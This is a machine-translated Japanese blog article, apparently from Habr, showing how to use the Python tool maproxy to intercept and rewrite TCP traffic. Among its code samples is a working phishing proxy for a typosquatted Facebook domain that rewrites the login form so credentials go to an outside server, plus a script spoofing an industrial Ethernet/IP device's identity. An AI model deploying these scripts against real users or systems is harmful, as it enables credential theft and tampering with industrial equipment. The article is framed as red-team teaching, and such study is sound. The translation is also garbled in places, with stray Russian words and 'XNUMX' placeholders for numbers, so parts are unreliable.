記事の翻訳はコース開始前夜に準備されました
アブストラクト
定期的な侵入テストやレッドチームの運用から、IoT/ICS デバイスや SCADA のハッキングに至るまで、さまざまなタイプのセキュリティ評価には、バイナリ ネットワーク プロトコルの操作、つまり、基本的にクライアントとターゲット間のネットワーク データの傍受と変更が含まれます。 Wireshark、Tcpdump、Scapy などのツールがあるため、ネットワーク トラフィックをスニッフィングすることは難しい作業ではありませんが、ネットワーク データを読み取り、フィルタリングし、変更するための何らかのインターフェイスが必要になるため、変更はより労働集約的な作業になるようです。それをオンザフライで実行し、ほぼリアルタイムでターゲット ホストに送り返します。 さらに、そのようなツールが複数の並列接続で自動的に動作し、スクリプトを使用してカスタマイズ可能であれば理想的です。
ある日、私は次のようなツールを発見しました。
、ドキュメントを見てすぐに次のことがわかりました。 maproxy
– 必要なものだけ。 これは非常にシンプルで多用途で、簡単に構成できる TCP プロキシです。 このツールを ICS デバイス (大量のパケットを生成する) など、いくつかのかなり複雑なアプリケーションでテストし、多数の並列接続を処理できるかどうかを確認したところ、ツールは良好に動作しました。
この記事では、次を使用してネットワーク データをオンザフライで処理する方法を紹介します。 maproxy
.
Обзор
ツール maproxy
は、Python の人気が高く成熟した非同期ネットワーキング フレームワークである Tornado に基づいています。
一般に、次のようないくつかのモードで動作できます。
TCP:TCP
– 暗号化されていない TCP 接続。TCP:SSL
иSSL:TCP
– 一方向暗号化を使用します。SSL:SSL
– 双方向暗号化。
ライブラリとして提供されます。 簡単に始めるために、主要な内容を反映したサンプル ファイルを使用できます。
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
ケース 1 – 単純な双方向プロキシ
に基づいて tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Поумолчанию ProxyServer()
は、接続場所とターゲット ポートの XNUMX つの引数を取ります。 server.listen()
は XNUMX つの引数、つまり着信接続をリッスンするためのポートを取ります。
スクリプトの実行:
# python tcp2tcp.py
テストを実行するために、プロキシ スクリプトを介してローカル SSH サーバーに接続します。 2222/tcp
ポートに接続し、標準ポートに接続します 22/tcp
SSHサーバー:
ウェルカム バナーは、サンプル スクリプトがネットワーク トラフィックを正常にプロキシしたことを通知します。
ケース 2 – データの変更
別のデモ スクリプト logging_proxy.py
ネットワーク データを操作するのに最適です。 ファイル内のコメントは、目的を達成するために変更できるクラス メソッドを説明しています。
最も興味深いのは次のとおりです。
on_c2p_done_read
– クライアントからサーバーへの途中でデータを傍受するため。on_p2s_done_read
- 逆に。
サーバーがクライアントに返す SSH バナーを変更してみましょう。
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
スクリプトを実行します。
ご覧のとおり、クライアントの SSH サーバー名が次のように変更されたため、クライアントは誤解を受けました。 «DumnySSH»
.
ケース 3 – 単純なフィッシング Web ページ
このツールを使用する方法は無限にあります。 今回は、レッドチームの運用面から見た、より実践的なことに焦点を当ててみましょう。 ランディングページを真似してみよう m.facebook.com
たとえば、意図的にタイプミスをしたカスタム ドメインを使用します。 m.facebok.com
。 デモンストレーションの目的で、ドメインが当社によって登録されていると仮定してみましょう。
被害者のプロキシと暗号化されていないネットワーク接続を確立し、Facebook サーバーへの SSL ストリームを確立します (31.13.81.36
)。 この例を機能させるには、HTTP ホスト ヘッダーを置き換えて正しいホスト名を挿入する必要があります。また、コンテンツに簡単にアクセスできるように応答圧縮も無効にします。 最終的には、ログイン資格情報が Facebook のサーバーではなく当社に送信されるように HTML フォームを置き換えます。
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ja/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
結果として:
ご覧のとおり、元のサイトを正常に置き換えることができました。
ケース 4 – Ethernet/IP の移植
私は、プログラマブル コントローラー (PLC)、I/O モジュール、ドライブ、リレー、ラダー プログラミング環境など、産業用デバイスとソフトウェア (ICS/SCADA) を長い間扱ってきました。 インダストリアルなものが好きな人向けのケースです。 このようなソリューションをハッキングするには、ネットワーク プロトコルを積極的に操作する必要があります。 次の例では、ICS/SCADA ネットワーク トラフィックを変更する方法を示します。
このためには、次のものが必要になります。
- ネットワーク スニファー (Wireshark など)。
- Ethernet/IP または単なる SIP デバイスは、Shodan サービスを使用して見つけることができます。
- 私たちのスクリプトは以下に基づいています
maproxy
.
まず、CIP (Common Industrial Protocol) からの典型的な識別応答がどのようなものかを見てみましょう。
デバイスの識別は、CIP などの制御プロトコルをラップする産業用イーサネット プロトコルの拡張バージョンであるイーサネット/IP プロトコルを使用して行われます。 スクリーンショットに表示されている強調表示された ID 名を変更します。 「NI-IndComm for Ethernet」 プロキシ スクリプトを使用します。 スクリプトを再利用できます logging_proxy.py
そして同様にクラスメソッドを変更します on_p2s_done_read
異なるアイデンティティ名をクライアントに表示したいためです。
コード:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
基本的に、デバイスの ID を XNUMX 回要求し、XNUMX 回目の応答は元のもので、最初の応答はその場で変更されました。
そして最後に
私の意見では maproxy
便利でシンプルなツールで、これも Python で書かれているので、皆さんもぜひ活用してみてください。 もちろん、ネットワーク データを処理および変更するためのより複雑なツールもありますが、それらはより多くの注意を必要とし、通常は特定の使用例向けに作成されます。 maproxy
サンプル スクリプトは非常に明確なので、ネットワーク データを傍受するためのアイデアをすぐに実装できます。
出所: habr.com